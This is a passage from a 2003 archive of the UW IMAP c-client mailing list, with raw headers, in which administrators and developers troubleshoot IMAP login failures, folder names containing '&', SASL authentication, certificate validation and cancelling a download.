(localhost [127.0.0.1]) by csp03.csci.unt.edu (Postfix) with ESMTP id CA0EE7E5 for ; Thu, 24 Jul 2003 12:35:26 -0500 (CDT) Message-Id: Date: Thu, 24 Jul 2003 12:35:26 -0500 (CDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sachin Joglekar To: c-client@u.washington.edu Subject: login failed (cannot login to imap/imaps) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: spj0004@csp03.csci.unt.edu X-Uwash-Spam: Gauge=XXXXIII, Probability=43%, Report='__USER_AGENT_PINE, __HAS_MSGID, __SANE_MSGID, FROM_ENDS_IN_NUMS, NO_MX_FOR_FROM, SPAM_PHRASE_00_01, SIGNATURE_SHORT_DENSE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I have UW-IMAP server on Redhat 8. I built imap-2002d with "slx" and SSLTYPE=unix. chkconfig --list shows ipop3, imap and imaps under xinetd. I have setup Netscape and Outlook Express as clients. Both give login failures. In netscape, I accept the self-signed certificate and then I get "Login to server failed". Can someone suggest a solution? Notes: 1. I also tried building with "lnp" (rpm -q pam gives me pam-0.75-46.8.0), but login still fails. 2. imap-2002d/docs/BUILD (Step 4: notes on privileges) says "root" cannot login via IMAP or POP. I am using root account to login to IMAP. Is this the reason of failed login? 3. If answer to 2 is true, do I need to create new user on the system with mail configured for that user? Thanks. Your help is appreciated. Sachin -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jul 24 13:01:17 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 24 Jul 2003 13:01:17 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h6OK1Hxd026160 for ; Thu, 24 Jul 2003 13:01:17 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h6OK1Dof020593 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 24 Jul 2003 13:01:14 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h6OK15J8101772; Thu, 24 Jul 2003 13:01:07 -0700 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h6OJwi2x054358 for ; Thu, 24 Jul 2003 12:58:44 -0700 Received: from cheshire.ucs.ubc.ca (cheshire.ucs.ubc.ca [137.82.28.1]) by mxu6.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h6OJwd7e011287 for ; Thu, 24 Jul 2003 12:58:42 -0700 Received: from scandia.esd.itservices.ubc.ca ([137.82.28.159] helo=ubc.ca) by cheshire.ucs.ubc.ca with asmtp (TLSv1:RC4-MD5:128) (Exim 4.20) id 19fmEY-00066N-Uz for c-client@u.washington.edu; Thu, 24 Jul 2003 12:58:38 -0700 Message-Id: <3F203A6E.70408@ubc.ca> Date: Thu, 24 Jul 2003 12:58:38 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: George Lindholm To: c-client@u.washington.edu Subject: Folder name space and the '&' character MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=XIIIIII, Probability=16%, Report='__HAS_MSGID, __SANE_MSGID, X_ACCEPT_LANG, __EVITE_CTYPE, SPAM_PHRASE_00_01, LINES_OF_YELLING, __UPPERCASE_25_50, SIGNATURE_LONG_SPARSE, UPPERCASE_25_50' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, lets try this again. I'm having problems with folders containg the '&' character (which is causing our Webmail users some grief). I crated two files named 'b &- d' and 'C & D' and then did a: Folder root = store.getDefaultFolder().getFolder("mail/amp"); Folder[] folders = root.list("%"); for (int i = 0; i < folders.length; i++) { try { System.err.println(folders[i].getFullName()); if (!folders[i].exists()) { System.err.println(" (doesn't exist?)"); } else { folders[i].open(Folder.READ_ONLY); folders[i].close(false); } } catch (javax.mail.MessagingException me) { System.err.println(me); } with the following output: DEBUG: setDebug: JavaMail version 1.3.1 * OK [CAPABILITY IMAP4REV1 LOGIN-REFERRALS STARTTLS AUTH=LOGIN] localhost IMAP4rev1 2003.338 at Thu, 24 Jul 2003 12:34:16 -0700 (PDT) A0 CAPABILITY * CAPABILITY IMAP4REV1 IDLE NAMESPACE MAILBOX-REFERRALS BINARY UNSELECT SCAN SORT THREAD=REFERENCES THREAD=ORDEREDSUBJECT MULTIAPPEND LOGIN-REFERRALS STARTTLS AUTH=LOGIN A0 OK CAPABILITY completed A1 OK [CAPABILITY IMAP4REV1 IDLE NAMESPACE MAILBOX-REFERRALS BINARY UNSELECT SCAN SORT THREAD=REFERENCES THREAD=ORDEREDSUBJECT MULTIAPPEND] User xxx authenticated A2 LIST "" mail/amp * LIST (\NoSelect) "/" mail/amp A2 OK LIST completed A3 LIST "" "mail/amp/%" * LIST (\NoSelect) "/" mail/amp/ * LIST (\NoInferiors \UnMarked) "/" "mail/amp/b &- d" * LIST (\NoInferiors \UnMarked) "/" "mail/amp/C & D" A3 OK LIST completed mail/amp/b & d A4 LIST "" "mail/amp/b &- d" * LIST (\NoInferiors \UnMarked) "/" "mail/amp/b &- d" A4 OK LIST completed DEBUG: connection available -- size: 1 A5 EXAMINE "mail/amp/b &- d" * 0 EXISTS * 0 RECENT * OK [UIDVALIDITY 1059075256] UID validity status * OK [UIDNEXT 1] Predicted next UID * FLAGS (\Answered \Flagged \Deleted \Draft \Seen) * OK [PERMANENTFLAGS ()] Permanent flags A5 OK [READ-ONLY] EXAMINE completed A6 CLOSE A6 OK CLOSE completed DEBUG: added an Authenticated connection -- size: 1 mail/amp/C A7 LIST "" "mail/amp/C " A7 OK LIST completed (doesn't exist?) As you can see, the folder name of 'b &- d' comes out as 'b & d' and of 'C & D' comes out as 'C '. This makes in difficult, if not impossible to access the folders. I also tried this with pine (no problems), mozilla mail (folders appears as 'b & e' and 'C D'), and KMail (folders appears as 'b & e' and 'C D', but I can' access the messages in the folders) And if I read RFC3501, section 5.1.3, correctly, isn't the imap server supposed to escape the '&' properly since this is the signal to the client that the string is BASE64 encoded? So what is going on here, and how do I fix/get around this problem. Thanks George -- George.Lindholm@ubc.ca ITServices, UBC Programmer/Analyst phone: 604.822.4375 fax: 604.822.5116 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sat Jul 26 14:28:26 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 26 Jul 2003 14:28:26 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h6QLSPxd014486 for ; Sat, 26 Jul 2003 14:28:25 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h6QLSKof031670 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sat, 26 Jul 2003 14:28:20 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h6QLSAKH030136; Sat, 26 Jul 2003 14:28:10 -0700 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h6QLOD2x056744 for ; Sat, 26 Jul 2003 14:24:13 -0700 Received: from server.macmgr.com (adsl-66-137-254-220.dsl.rcsntx.swbell.net [66.137.254.220]) by mxu7.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h6QLO5ZF019540 for ; Sat, 26 Jul 2003 14:24:11 -0700 Received: by server.macmgr.com (Postfix, from userid 204) id BA1596C89C; Sat, 26 Jul 2003 16:24:10 -0500 (CDT) Received: from jimandlissa.com (adsl-66-137-254-221.dsl.rcsntx.swbell.net [66.137.254.221]) by server.macmgr.com (Postfix) with ESMTP id B8C9D6C84B for ; Sat, 26 Jul 2003 16:24:08 -0500 (CDT) Message-Id: <7A477DAF-BFAF-11D7-ABE4-0030658A64EC@jimandlissa.com> Date: Sat, 26 Jul 2003 16:24:02 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jim Riggs To: c-client@u.washington.edu Subject: Re: Cyrus SASL Authenticator In-Reply-To: References: Mime-Version: 1.0 (Apple Message framework v578) Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-102.0 required=6.0 tests=IN_REP_TO,QUOTED_EMAIL_TEXT,REFERENCES,REPLY_WITH_QUOTES, USER_AGENT_APPLEMAIL,USER_IN_WHITELIST version=2.55-2003052702 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.55-2003052702 (1.174.2.19-2003-05-19-exp) X-Sanitizer: Anomy X-Uwash-Spam: Gauge=IIIIIIIII, Probability=9%, Report='__HAS_MSGID, __SANE_MSGID, __EVITE_CTYPE, __IN_REP_TO, __REFERENCES, FORGED_RCVD_TRAIL, REFERENCES, IN_REP_TO, QUOTED_EMAIL_TEXT, SPAM_PHRASE_01_02' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I received several notes regarding interest in this, so I have posted a README and the code. Please let me know if you come across any problems with it. http://jimandlissa.com/darwin/auth_cyr/ - Jim > Having had this need/desire for quite some time (and having seen > similar requests in the list archives), this past weekend I finally > sat down and pounded out a c-client server AUTHENTICATOR that > authenticates imapd/ipop[23]d using Cyrus SASL. Why? Well, I am > using Postfix + Cyrus SASL for SMTP authentication, and keeping > cram-md5.pwd in sync with Cyrus's DB has proven to be a pain. This > way, one sasldb or mysql table or whatever Cyrus SASL is using can > authenticate POP, IMAP, and SMTP via SASL, something I have wanted for > a long time. > > Since Cyrus SASL dynamically loads mechanisms, I had to do some > special handling to get c-client to essentially dynamically load them > as well (which it doesn't technically support). It also handles plain > text and APOP authentication with a couple of changes to ipop3d.c and > osdep/*/env_*.c. > > I have done testing with plain, APOP, LOGIN, CRAM-MD5, and DIGEST-MD5 > on Darwin, and all seems to be working properly; however, this has > not been stress-tested and should be considered beta quality at best. > If you think this could be useful, please provide feedback and help me > with testing. > > If anyone is interested in more details and/or the code, I can post > more information on the list or on a website. Just let me know.... > > - Jim From pinedev@shivax2.cac.washington.edu Wed Jul 30 14:32:29 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 30 Jul 2003 14:32:29 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h6ULWTxd000715 for ; Wed, 30 Jul 2003 14:32:29 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h6ULWQWO000386 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 30 Jul 2003 14:32:26 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h6ULWJKH024200; Wed, 30 Jul 2003 14:32:19 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h6ULUs2x030892 for ; Wed, 30 Jul 2003 14:30:54 -0700 Received: from web13904.mail.yahoo.com (web13904.mail.yahoo.com [216.136.175.67]) by mxu4.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h6ULUnSB006652 for ; Wed, 30 Jul 2003 14:30:50 -0700 Received: from [143.127.3.10] by web13904.mail.yahoo.com via HTTP; Wed, 30 Jul 2003 14:30:49 PDT Message-Id: <20030730213049.55881.qmail@web13904.mail.yahoo.com> Date: Wed, 30 Jul 2003 14:30:49 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Allen Lu To: c-client@u.washington.edu Subject: WU imapd-2002 authentication problem on solaris 8 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID, __SANE_MSGID, __EVITE_CTYPE, SPAM_PHRASE_01_02, SIGNATURE_SHORT_DENSE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > Hello sirs, > > I'm trying out your imapd, ultimately wanting to use it with SquirrelMail. I > narrowed my authentication problems to imapd. > > $ telnet localhost 143 > Trying 127.0.0.1... > Connected to localhost. > Escape character is '^]'. > * OK [CAPABILITY IMAP4REV1 LOGIN-REFERRALS STARTTLS LOGINDISABLED] localhost > IMAP4rev1 2003.338 at Wed, 30 Jul 2003 14:06:45 -0700 (PDT) > a login alu allen123 > a NO LOGIN failed > a logout > * BYE ultra IMAP4rev1 server terminating connection > a OK LOGOUT completed > Connection closed by foreign host. > $ cat /etc/passwd > . > . > alu:x:1000:1::/homes/alu:/bin/sh > > Is there a reason why authentication is failing? I am using openssl and it is > installed under /usr/local/ssl. __________________________________ Do you Yahoo!? Yahoo! SiteBuilder - Free, easy-to-use web site design software http://sitebuilder.yahoo.com -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jul 31 00:08:24 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 31 Jul 2003 00:08:23 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h6V78Nxd019012 for ; Thu, 31 Jul 2003 00:08:23 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h6V78FWO017345 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 31 Jul 2003 00:08:16 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h6V78AKH031420; Thu, 31 Jul 2003 00:08:10 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h6V71j2x045820 for ; Thu, 31 Jul 2003 00:01:45 -0700 Received: from netra27.desy.de (netra27.desy.de [131.169.40.141]) by mxu2.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h6V71eC0029886 for ; Thu, 31 Jul 2003 00:01:40 -0700 Received: from mx1.desy.de (mx1.desy.de [131.169.69.101]) by netra27 (DesyMail_Map_27) with ESMTP id 53A72FB7A for ; Thu, 31 Jul 2003 09:01:39 +0200 (MEST) Received: from netra28.desy.de (netra28.desy.de [131.169.40.142]) by mx1.desy.de (Content Technologies SMTPRS 4.3.10) with ESMTP id for ; Thu, 31 Jul 2003 09:01:39 +0200 Received: from zitnbdj.desy.de (zitnbdj.desy.de [131.169.214.68]) by netra28 (DesyMail_In_28) with ESMTP id 4D35CF0A07 for ; Thu, 31 Jul 2003 09:01:38 +0200 (MEST) Message-Id: <853547.1059642096@zitnbdj.desy.de> Date: Thu, 31 Jul 2003 09:01:36 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Dirk Jahnke To: c-client@u.washington.edu Subject: Re: WU imapd-2002 authentication problem on solaris 8 In-Reply-To: <20030730213049.55881.qmail@web13904.mail.yahoo.com> References: <20030730213049.55881.qmail@web13904.mail.yahoo.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Uwash-Spam: Gauge=III, Probability=3%, Report='__HAS_MSGID, __SANE_MSGID, __EVITE_CTYPE, __IN_REP_TO, __REFERENCES, REFERENCES, IN_REP_TO, QUOTED_EMAIL_TEXT' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi Allen, >> Is there a reason why authentication is failing? I am using openssl and >> it is installed under /usr/local/ssl. You mention Solaris 8 in the subject. Did you alter the /etc/pam.conf appropriately, so there is a service "imap" (also an imaps for SSL) or at least the "other" service catches the login-like request according to your Solaris installation? Could be a starting point for further investigations. Best regards, -- Dirk Jahnke IT Systems / Bldg. 2b / Room 221 DESY Hamburg Deutsches Elektronen-Synchrotron D-22603 Hamburg Notkestrasse 85 / 22607 Hamburg Tel: +49-40-899.8.1760 Fax: +49-40-899.4.1760 dirk.jahnke@desy.de From pinedev@shivax2.cac.washington.edu Thu Jul 31 08:28:21 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 31 Jul 2003 08:28:21 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h6VFSLxd002376 for ; Thu, 31 Jul 2003 08:28:21 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h6VFSDof029332 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 31 Jul 2003 08:28:13 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h6VFS7OL080184; Thu, 31 Jul 2003 08:28:08 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h6VFPT2x017436 for ; Thu, 31 Jul 2003 08:25:29 -0700 Received: from web13903.mail.yahoo.com (web13903.mail.yahoo.com [216.136.175.29]) by mxu1.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h6VFPPdL020293 for ; Thu, 31 Jul 2003 08:25:25 -0700 Received: from [216.102.221.227] by web13903.mail.yahoo.com via HTTP; Thu, 31 Jul 2003 08:25:24 PDT Message-Id: <20030731152524.62088.qmail@web13903.mail.yahoo.com> Date: Thu, 31 Jul 2003 08:25:24 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Allen Lu To: Dirk Jahnke , c-client@u.washington.edu Subject: Re: WU imapd-2002 authentication problem on solaris 8 In-Reply-To: <853547.1059642096@zitnbdj.desy.de> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Uwash-Spam: Gauge=IIIII, Probability=5%, Report='__HAS_MSGID, __SANE_MSGID, __EVITE_CTYPE, __IN_REP_TO, IN_REP_TO, QUOTED_EMAIL_TEXT, SPAM_PHRASE_02_03' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Thanks Dirk, This was it. I hadn't read the docs carefully in the SSLBUILD. Tried SSLTYPE=unix and now it works. Next step..make it secured! :) Thanks Allen --- Dirk Jahnke wrote: > Hi Allen, > > >> Is there a reason why authentication is failing? I am using openssl and > >> it is installed under /usr/local/ssl. > > You mention Solaris 8 in the subject. Did you alter the /etc/pam.conf > appropriately, so there is a service "imap" (also an imaps for SSL) > or at least the "other" service catches the login-like request > according to your Solaris installation? > > Could be a starting point for further investigations. > > Best regards, > > -- > Dirk Jahnke IT Systems / Bldg. 2b / Room 221 > DESY Hamburg Deutsches Elektronen-Synchrotron > D-22603 Hamburg Notkestrasse 85 / 22607 Hamburg > Tel: +49-40-899.8.1760 Fax: +49-40-899.4.1760 dirk.jahnke@desy.de __________________________________ Do you Yahoo!? Yahoo! SiteBuilder - Free, easy-to-use web site design software http://sitebuilder.yahoo.com From pinedev@shivax2.cac.washington.edu Thu Jul 31 10:57:52 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 31 Jul 2003 10:57:52 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h6VHvqxd010112 for ; Thu, 31 Jul 2003 10:57:52 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h6VHvnof003100 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 31 Jul 2003 10:57:49 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h6VHvhTB029340; Thu, 31 Jul 2003 10:57:43 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h6VHup2x033226 for ; Thu, 31 Jul 2003 10:56:52 -0700 Received: from pegasus.siol.net (pegasus.siol.net [193.189.160.24]) by mxu1.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h6VHundL031925 for ; Thu, 31 Jul 2003 10:56:50 -0700 Received: from kudu.siol.net ([10.10.10.22]) by pegasus.siol.net (InterMail vK.4.03.05.03 201-232-132-103 license 1cbf71897a39210db31154c99f0b4628) with ESMTP id <20030731175648.UUCE575.pegasus@kudu.siol.net> for ; Thu, 31 Jul 2003 19:56:48 +0200 Received: from himba.app390.net ([193.77.246.234]) by kudu.siol.net (InterMail vK.4.03.05.03 201-232-132-103 license 1cbf71897a39210db31154c99f0b4628) with ESMTP id <20030731175647.HIYG368.kudu@himba.app390.net> for ; Thu, 31 Jul 2003 19:56:47 +0200 Message-Id: <200307311956.18474.himba@siol.net> Date: Thu, 31 Jul 2003 19:56:17 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: himbA To: c-client@u.washington.edu Subject: using /novalidate-cert MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID, __SANE_MSGID, __EVITE_CTYPE, SPAM_PHRASE_01_02, SIGNATURE_SHORT_DENSE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello I'm new to the list. I would like to get some pointers for using imapd in mixed enviroment clien= ts,=20 winxp and suse linux 8.2. my server is using imap that came with suse=20 distribution, it is compiled with MD5 support by default, and I have to use= a=20 certificate that is not signed by CA. Every time email client (outlook) is= =20 started i get a warning about certificate not being signed by CA... /novalidate-cert option is supposed to solve this problem, but i haven't b= een=20 able to make it work with outlook. How can i enable it ? regards, himba =2D-=20 This =E2=82=AC-mail was Kmailed. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Aug 1 12:21:55 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 1 Aug 2003 12:21:55 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h71JLsxd002309 for ; Fri, 1 Aug 2003 12:21:54 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h71JLlof020525 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 1 Aug 2003 12:21:48 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h71JLfKH023524; Fri, 1 Aug 2003 12:21:42 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h71JIZ2x022214 for ; Fri, 1 Aug 2003 12:18:35 -0700 Received: from mail.bynari.net (gw1.bynari.net [216.234.228.98]) by mxu3.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h71JIYJL016523 for ; Fri, 1 Aug 2003 12:18:34 -0700 Received: by mail.bynari.net (Postfix, from userid 1001) id 39C4E4B9A69; Fri, 1 Aug 2003 19:19:16 +0000 (UTC) Received: from redhook (redhook.bynari.net [192.168.3.111]) by mail.bynari.net (Postfix) with SMTP id BD6D94B9A67 for ; Fri, 1 Aug 2003 19:19:12 +0000 (UTC) Message-Id: <007a01c35861$b13ddf80$6f03a8c0@redhook> Date: Fri, 1 Aug 2003 14:18:30 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Shawn Walker" To: Subject: How to cancel retrieving mail? MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0077_01C35837.C85A1BE0" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Spam-Status: No, hits=-5.2 required=5.0 tests=BAYES_10,UPPERCASE_25_50 version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Uwash-Spam: Gauge=XIIIIIII, Probability=17%, Report='__HAS_MSGID, __SANE_MSGID, __HAS_MIMEOLE, __HAS_X_PRIORITY, __HAS_MSMAIL_PRI, PRIORITY_NO_NAME, SPAM_PHRASE_00_01' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_0077_01C35837.C85A1BE0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit How to cancel retrieving a message from the IMAP server? Say there is a rather large email and the user decide to cancel the download, that is just one example. But, I don't want to close the mail stream session. I know this would have to be in a thread, but what to do to signal c-client to abort the download? Thanks! Shawn ------=_NextPart_000_0077_01C35837.C85A1BE0 Content-Type: text/x-vcard; name="Shawn Walker.vcf" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="Shawn Walker.vcf" BEGIN:VCARD VERSION:2.1 N:Walker;Shawn FN:Shawn Walker ORG:Bynari TITLE:Senior Software Developer TEL;WORK;VOICE:214-350-5772 x29 TEL;WORK;FAX:214-352-3530 ADR;WORK;ENCODING=3DQUOTED-PRINTABLE:;214-350-5772 x29;2639 Electronice = Lane=3D0D=3D0ASuite 110;Dallas;TX;75220;USA LABEL;WORK;ENCODING=3DQUOTED-PRINTABLE:214-350-5772 x29=3D0D=3D0A2639 = Electronice Lane=3D0D=3D0ASuite 110=3D0D=3D0ADallas, TX 7=3D 5220=3D0D=3D0AUSA EMAIL;PREF;INTERNET:swalker@bynari.net REV:20030801T191830Z END:VCARD ------=_NextPart_000_0077_01C35837.C85A1BE0-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Aug 5 03:51:16 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 5 Aug 2003 03:51:16 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h75ApGxd031118 for ; Tue, 5 Aug 2003 03:51:16 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h75ApCof030749 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 5 Aug 2003 03:51:13 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h75AoZKH023296; Tue, 5 Aug 2003 03:50:36 